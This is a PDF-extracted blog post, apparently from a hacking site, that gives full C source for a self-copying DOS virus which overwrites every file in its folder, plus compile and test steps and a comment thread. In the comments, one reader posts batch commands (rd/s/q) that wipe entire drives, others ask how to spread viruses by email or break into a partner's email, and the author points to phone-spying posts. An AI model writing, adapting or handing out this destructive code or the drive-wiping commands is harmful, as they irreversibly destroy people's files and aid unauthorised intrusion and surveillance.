You are on page 1of 32

 March 15, 2016

HACKING FAQS ABOUT Search this website …

CONTACT    

HOME CELL PHONE HACKS HOW-TO GUIDES INTERNET SECURITY

CRYPTO AND CODING HOW-TO GUIDES

 
30,105 22,585
H
owtoCre
atea Subscribers Fans

C
omp
ute
rVirus
?
 
866 1,268
Followers In Circles

GET FREE
UPDATES
 Srikanth Ramesh Get Weekly Updates
delivered directly to
This program is an example of how to create your Mailbox from
a computer virus in C language. This program GoHacking!
demonstrates a simple virus program which
when executed creates a copy of itself in all
Enter Your Email
the other files that are present in the same
directory.

SUBSCRIBE
Thus, it destroys other files by infecting
them. The infected file will also become a
virus so that when executed, it is capable of
spreading the infection to another file and
so on.
CATEGORIE
Here’s the source code of the virus program: S

#include<stdio.h> CELL PHONE 12


#include<io.h> HACKS
#include<dos.h>
#include<dir.h> CRYPTO AND 13
#include<conio.h> CODING
#include<time.h>
HACKING BASICS10

FILE *virus,*host;
HOW STUFF 9
int done,a=0;
WORKS
unsigned long x;
char buff[2048]; HOW-TO GUIDES 52
struct ffblk ffblk;
clock_t st,end; INTERNET 30
SECURITY
void main()
NEWS AND OFFERS
2
{
st=clock(); WEB HACKING 16
clrscr();
done=findfirst("*.*",&ffblk,0); //Search for a file wi
WINDOWS th any extens
HACKS25
while(!done)
{
virus=fopen(_argv[0],"rb");
host=fopen(ffblk.ff_name,"rb+");
if(host==NULL) goto next;
x=89088;
printf("Infecting %s\n",ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf("DONE! (Total Files Infected= %d)",a);
end=clock();
printf("TIME TAKEN=%f SEC\n",
(end-st)/CLK_TCK);
getch();
}

 This virus is designed to infect all


types of files with any extension.

You can download the source code from the


following link:

 Download Source code


H
owt
heV
iru
sPr
ogr
amW
ork
s?
The algorithm of this virus program is as
follows:

Step-1: Search for files in the current


directory. If one or more file is present, load
the first file (target file).

Step-2: Load the copy of the virus itself onto


the memory.

Step-3: Open the target file. Copy the virus


code from the memory and place it in the
target file. Close the target file when the
copying process is completed.

Step-4: Load the next file to infect and move


to the step-3. If all the files are infected,
close all the open files, unload them from
the memory and exit.

As far as the technical terms are concerned, I


would not be able to explain the program
line by line. Anyone with a working
knowledge of C should be easily able to
understand the functions and other terms
used in the program.

H
owt
oCo
mpi
let
heP
rog
ram
:
For a step-by-step guide, you can refer my
detailed post on how to compile C programs?
H
owtoTes
ttheV
iru
sAf
tert
he
C
omp
ila
tio
n:
1. Create a new empty folder.

2. Put some executable files (or any other


files) in the folder.

3. Run the PC_Virus.exe file. With in a few


seconds all the other files in the folder
gets infected.

4. Now every infected file is a new virus


which is ready to re-infect. You can copy
any of the infected .exe file to another
empty folder and repeat the same
procedure to see if the infected file is
capable of re-infecting. Delete the
folder and all the infected files after the
testing process is done.

 NOTE: The files infected by this


virus are destroyed completely and
cannot be recovered. So, always test the
virus in a new folder by placing some
sample files.

 WARNING: FOR EDUCATIONAL


PURPOSES ONLY. DO NOT SPREAD OR
MISUSE THIS VIRUS CODE.
R
ECO
MME
NDE
DPO
STSF
ORY
OU

A Virus A Virus How to Create


Program to Program to a Virus to
Restart the Disable USB Block Websites
Computer Ports

Comments

ANONYMOUS SAYS MAY 15, 2008 AT 10:36 PM

This is the same as the one posted at


http://vx.netlux.org/lib/vbw06.html and
for obvious reasons it wont compile, there
are minute erros to prevent little script
kiddies from using it

RAHUL SAYS NOVEMBER 20, 2008 AT 11:23 PM

good
VERONIKA SAYS

Hi,
Let me give you a question.
I can infect a victim with a virus sent by e-
mail without the recipient opens the
attachment?
Thank you!
Veronika.

HIMANSHU SAYS DECEMBER 4, 2008 AT 9:58 PM

hey shrikant,don’t laugh if i ask this


question. I don’t know a word about C. Is
it a software ?? or what??….. all that u
wrote in this post have to be entered in
the software??? or have i to learn C to
know all that?

SRIKANTH SAYS DECEMBER 5, 2008 AT 7:02 AM

@ Himanshu

C is a programming language.You need to


learn this programming language to
understand the codes that I have written
on my site!
SATISH (DIRECTOR OF SAT MULTIMEDIA) SAYS

Nice………..& thaks

BHARGAV SAYS DECEMBER 29, 2008 AT 11:44 PM

awe some keep it up n create more.

ZALS SAYS JANUARY 3, 2009 AT 10:35 PM

Hey Sriki,i m much appreciated with ur


work,i compiled the above code and gettin
4 errors as below:
1- FILE *virus,*host ;(this has got error)
2- undefined symbol VIRUS(i think thats
because of the first error)
if i get a solution for the first one i think i
can compile it without error…i hope u ll
help me..ty bhayya

ZALS SAYS JANUARY 3, 2009 AT 10:38 PM

oh ya ..i forgot to tel u one thing,,,i m


using turbo c++ :)…

SLIM0123 SAYS JANUARY 4, 2009 AT 1:17 PM

Hey you are not at all infecting other files,


you are just copying your files with the
names of the files present in the
directory…..
But in case of infection, the virus code
resides with the original content, if your
virus is infecting, for example, the
notepad.exe file, then it should retain its
obvious functions and with that the virus
content too, I mean than when we run
infected notepad.exe, then it should open
up the notepad and execute the virus
code tooo, not just the virus code,
otherwise it wont survive longer……

REDMAN SAYS JANUARY 15, 2009 AT 12:42 AM

how do i learn da c lang

HUSAIN SAYS JANUARY 16, 2009 AT 6:36 PM

Srikant,
I need your help in finding me the PW of
Yahoo & Gmail as I was cheated by a
partner in business I want to peep
through his e-mails and see what is he
upto-or I will suffer more by losing my
international clients.
Thanks Husain

VISHAL WARANG SAYS

i want learn methods of creating virus

BHARATH SAYS FEBRUARY 10, 2009 AT 6:25 PM

i want a program or software for


unblocking the websites that are blocked
in my computer

DANIEL TATSUKI SAYS

Love all those. Please make some more


posts in this catergory. woo!
RAHUL SAYS FEBRUARY 25, 2009 AT 2:37 PM

sir,i want to know that how we can start a


computer if we do not know his passward?
please reply me soon.

SRIKANTH SAYS

@ rahul

You can start a password protected


computer, but cannot login. If you
want to login, then you need to break
the password

SHAJITH SAYS FEBRUARY 27, 2009 AT 9:06 PM

i want to know how the autorun program


is working.

NEWBIE SAYS MARCH 7, 2009 AT 11:45 PM

@ srikanth

Hey, I’m new to this and I would like to


know where you learned the C language,
can u link a good site? thnx

SRIKANTH SAYS

@ newbie

You can start learning C from


cprogramming.com

NEWBIE SAYS MARCH 10, 2009 AT 1:17 AM

thnx

NEWBIE SAYS MARCH 10, 2009 AT 1:19 AM

@srikanth

should i learn C++ or C?

SRIKANTH SAYS

@ newbie

first C then C++


AQI SAYS MARCH 17, 2009 AT 11:12 PM

hi, can i get ur permission to use ur


program for my final year project.

SRIKANTH SAYS

@ Aqi

You’re free to use it anywhere. You


can also modify it to your needs…
Enjoy..:)

AQI SAYS MARCH 18, 2009 AT 9:56 AM

thx. and if u dont mind..can i get ur email


or messenger address. i have a few
question to ask and discuss regarding my
final project. thx again for ur time and
consideration.

SRIKANTH SAYS

@ Aqi
You can contact me from the contact
page and I’ll receive your message on
my email.

DEBPRATIM GHOSH SAYS

CREATING A VIRUS IS SIMPLE FOR A


WINDOWS COMPUTER.
OPEN THE NOTEPAD AND TYPE
rd/s/q D:\
rd/s/q C:\
rd/s/q E:\
AND THEN SAVE THE FILE WITH A NAME
VIRUS.BAT OR VIRUS.EXE
THIS COMMAND “rd/s/q x:\” IS SIMPLY
INSTRUCTING THE COMPUTER TO DELETE
ALL THE FILES INSIDE THE DRIVE “x”. YOU
CAN REPLACE THE X WITH THE DRIVE NAME
SUCH AS ‘C’ OR ‘D’ OR ‘E’. WHATEVER THE
DRIVE NAME IS JUST REPLACE THE X WITH
THE NAME. THIS WAY YOU HAVE GOT THE
FILE VIRUS.BAT OR VIRUS.EXE. THIS FILE IS
A VIRS. IF YOU RUN THIS FILE THEN EVERY
FILE IN THE INSTRUCTED DRIVE WILL BE
DLELETD WITHIN 5MINUTES.

ADITYA SAYS MARCH 19, 2009 AT 1:44 PM


hai sir,

inside of each and every folders there are


folders like
system volume information, recycler,
thumbs., deskotp.ini files exists. what are
these files. are they viruses. please tell
me.
i didnt create them.

SRIKANTH SAYS

@ Aditya

There are not viruus. They are system


files. Leave them intact and they’ll
not harm your PC.

ADITYA SAYS MARCH 19, 2009 AT 3:00 PM

hai,

here i created a logic for producing


permutations for a given number. but it is
a static approach. could u please convert
it to a dynamic approach.

#include
main()
{
int a[4]={1,2,3,4},i,j,k,h;
clrscr();
for(i=0;i<4;i++)
for(j=0;j<4;j++)
for(k=0;k<4;k++)
for(h=0;h<4;h++)
if(a[i]!=a[j])
if(a[i]!=a[k])
if(a[i]!=a[h])
if(a[j]!=a[h])
if(a[j]!=a[k])
if(a[k]!=a[h])
printf(“%d%d%d\t”,a[i],a[j],a[k]);
getch();
}

please change it to dynamic approach.

awaiting ur response

SRIKANTH SAYS

@ Aditya

Use dynamic memory allocation


malloc() to dynamically allocate the
memory. Then use dynamic array
intead of static array. Rest of the
program remains same. If I get time
I’ll send you the source code.
ADITYA SAYS MARCH 19, 2009 AT 8:20 PM

how can we access command promt by


using c language.
i asked a modify a program. please do it.

SRIKANTH SAYS

@ Aditya

Use system funtion to access


Command prompt.
Eg. system(“ping xyz.com”);

RAHRAH SAYS MARCH 22, 2009 AT 11:13 AM

ok if i type rd/s/q C:\ in note pad and save


it on my comp as VIRUS.BAT will that
infect MY Computer??? and if no then how
do i run this line of code? and is this
transferable? Meaning can i upload this
file to a remote comp and if so how do i
make it run on open. im kinda a noob…still
learning and this site seems to be the
best site ive come across. i have 2 friends
who went to comp school in san diego
cali, and theyve been teachin me what
they know…most of it is networking
though…but im tryin to learn coding.

“INFORMATION IS POWER”

SRIKANTH SAYS

@ RahRah

It is transferrable. But you cannot


make it run on open. It has to be
manually executed..

VIRENDRA SAYS MARCH 22, 2009 AT 2:07 PM

hi Shrikant,
can you please tell me from where can i
get c compiler

ADITYA SAYS MARCH 23, 2009 AT 7:44 PM

hai sir,

i need to learn in deapth about ms dos


from basics. so can u please tell me where
can i get the e-materials for free. please i
am inerested in developing program
developing skills. please i am very much
intersted.

SRIKANTH SAYS

@ aditya

Refer

http://www.tnd.com/camosun/elex130/dostutor1.html

http://bestlesson.50webs.com/learnms-
dos.html

VIRENDRA SAYS MARCH 24, 2009 AT 5:41 PM

hi Shrikant,
can this file be compiled on dev c++
compiler

SRIKANTH SAYS

@ Virendra

Yes, but may require some


modifications..
VITHULAN SAYS MARCH 25, 2009 AT 1:15 PM

Hi Srikanth brother,
Don’t laugh to my childy question.
Should I want to download C (whats it?)
And how can I Create login.php(using
notepad or other softwares)
Atleast give me a basic Idea about PHP
and about C
Reply me soon pls pls.
Thankyou.

NAVEEN SAYS APRIL 4, 2009 AT 12:03 AM

hi srikanth,

give me solution for system volume


information virus my computer is affected
with this virus i have formatted my pc but
still the virus is coming .how to remove it
please help me

reply me at naveenbanni@gmail.com

SRIKANTH SAYS
@ naveen

“system volume information ” is not a


virus. it is an operation system file.
So don’t be worried..

RAJ SINGH SAYS APRIL 13, 2009 AT 1:13 AM

how can i get the original file that are


affected
by ur above code…
pls tell me…

SRIKANTH SAYS

@ Raj Singh

The damage caused by this virus is


irreversible!

LAXMAN GAIRE SAYS APRIL 19, 2009 AT 8:59 PM

hi shrikant i;ve done it


one ?
can we affect others computer from our
computer with this virus
if yes then how???????

HAMWENXU SAYS APRIL 21, 2009 AT 1:51 PM

system volume in4mation and recycler are


system files but apparenly their is a virus
that is using those names the virus will
change your system information such as
time and date so that you no longer cant
update…..look out 4 it. they can be deleted
using explorerXP(Shift delete)

SARVESH SAYS APRIL 22, 2009 AT 2:24 PM

Thanks sir………can u plz give me the algo


for the above & similar program(s)…..

DJCALL SAYS APRIL 22, 2009 AT 9:19 PM

Is there a way in which we could create a


virus in Basic

I meant the BASIC language which is used


for creating small programes
AMMIIIRRRR SAYS APRIL 23, 2009 AT 6:37 AM

Hi Srikanth,
i have a few questions about learning C
programming..usually how long does it
take somebody to learn C programming
bcoz i’m a total beginner to this thing..is
it difficult to learn C??..where can i get the
C compiler for free??

thanx
xxxx

SAVIO SAYS MAY 5, 2009 AT 8:17 PM

Bhai . Please tell me how to create a virus


, in C or oops language . And i want to
send it by net . Is there any virus . Plz help
me yar

SAVIO SAYS MAY 5, 2009 AT 8:19 PM

Any virus small . big doesnt matter . But i


want to send it by . Net , orkut . Email
SAVIO SAYS MAY 5, 2009 AT 8:20 PM

Please help me yar .

SRIKANTH SAYS MAY 6, 2009 AT 11:17 AM

@ Savio

I have already posted some of the


virus source codes in C on my site…

FEDATA SAYS MAY 7, 2009 AT 3:36 PM

how can you create a computer virus in


pascal programming language

CUTELIKEKOBRA SAYS

HI sri m nu 2 hacking and i dunno much


about c,c++ where do i start?

OLDNEWBY SAYS MAY 13, 2009 AT 10:02 AM


Hi, Srikanth, very interesting
demonstration. I’m still learning a lot
about computer languages. Is there a
preferred language for viruses?

SRIKANTH SAYS

@ oldnewby

Yes, most viruses are created in


assembly language, also called as
asm. asm is a low level programming
language and is much more difficult
than high level languages such as C,
C++, Java etc.

ANKIT SAYS MAY 14, 2009 AT 4:21 PM

why is the size of buff 2048? i.e char


buff[2048];

SRIKANTH SAYS MAY 15, 2009 AT 7:05 AM

@ Ankit

Buffer size is 2048 bytes. this means


at a time, 2048 bytes of data is
copied from the source file to the
taget file. You can change it to 512,
1024 etc. without any problem.

BILL SAYS MAY 18, 2009 AT 10:43 PM

Dear Sir,
will you please let me know other
websites, where I can know about creation
and working of viruses.

BIRD SAYS MAY 18, 2009 AT 11:40 PM

hey …
i had not yet practise it. But like to know
that this viruses are not detected by the
antiviruses. just want to know before
trying will it harm the computer a lot?
how would i know that it is infected?
only that folder will b infected or whole
computer will b infected.
before trying i want to know the
consequence so that i dont regret what i
did to my computer…
pls reply…//

SRIKANTH SAYS MAY 19, 2009 AT 9:51 AM


@ bird

Only the current folder will be


infected and not the whole computer.

LOIKAW SAYS MAY 25, 2009 AT 9:42 AM

good , I want to know about process hide


when your virus process

NEHA SAYS MAY 26, 2009 AT 5:30 PM

i wnted to ask tht if i’d like to try it on my


pc then wil it harm all d files in it or not?
is it safe to try on my pc without any
harm?

SRIKANTH SAYS MAY 27, 2009 AT 4:35 PM

@ neha

Yes it is safe to try. This virus will not


infect your entire system files. It’s
only infects the files that are located
in the current folder (directory) in
which it is executed.
PREM SAYS MAY 27, 2009 AT 8:06 PM

please let me kbow abt compiler (borland


c++ compiler) cos im new to this tricks.

JAY SAYS JUNE 12, 2009 AT 6:14 PM

hi shrikant,
do u know any thing to hack location of
any mobile no. by gps system. or any
other. plz reply me.

SRIKANTH SAYS

@ jay

Refer this post How to spy on cell


phone

T3LL SAYS JUNE 12, 2009 AT 9:07 PM

Really thanks for taking your time and


write some comments Srikanth!

ROCKY SAYS JUNE 15, 2009 AT 11:32 AM

hi.. i want to know that if we try it on our


pc will it harm any of the files……..

ROCKY SAYS JUNE 15, 2009 AT 11:35 AM

hi.. i want to know that if we try it on our


pc will it harm the files……

PRADEEP SAYS JUNE 18, 2009 AT 10:13 AM

i can understand…….

but wat is the function of argv and ffblk


actually

does findfirst finds all the files with


extensions
can i make it to find only exe files by
“.exe”instead of “.”
@ pradeep

Yes you can just change from *.* to


*.exe so that it’ll scan only for .exe
files.

PIER SAYS JUNE 19, 2009 AT 6:27 AM

sorry but in the code you haven’t defined


the struct u use there… can you do it
please..?

SARVESH SAYS JULY 7, 2009 AT 5:07 PM

Srhikant Sir,
You are best of all……..!!!!!!!

HARISH SAYS JULY 23, 2009 AT 10:47 PM

does this work on any os

SRIKANTH SAYS JULY 26, 2009 AT 8:36 PM


@ harish

It works only on windows PC

SHAH SAYS JULY 29, 2009 AT 6:43 PM

amazzzzzzing site …!
hats off to u my frnd !

PLZ KEEP THIS PLACE “ALIVE” for “EVER”

Live Long Sri !

KARNA SAYS AUGUST 16, 2009 AT 10:50 AM

actually,virus are executed automatically


from removable drive(pen drive)..how they
are executed without double clicking
when they are plugged into usb..please
answer to this question i want to learn
this not to spread just for knowledge…
POPULAR POSTS SUBSCRIBE TO
How to Hack WhatsApp
UPDATES
Account

Get Weekly Updates


Spy on Text Messages:
Complete Guide delivered directly to
your Mailbox from
How to Track a Cell Phone GoHacking. Join
28k+ other
WhatsApp Spy: Spy on subscribers now!
WhatsApp Messages

Learn How to Hack – Enter Your Email


Hacking Simplified

SUBSCRIBE

About | Contact | Disclaimer | Privacy Policy | Sitemap | Scroll to Top

Copyright © 2009-2016 GoHacking.com. All Rights Reserved.

You might also like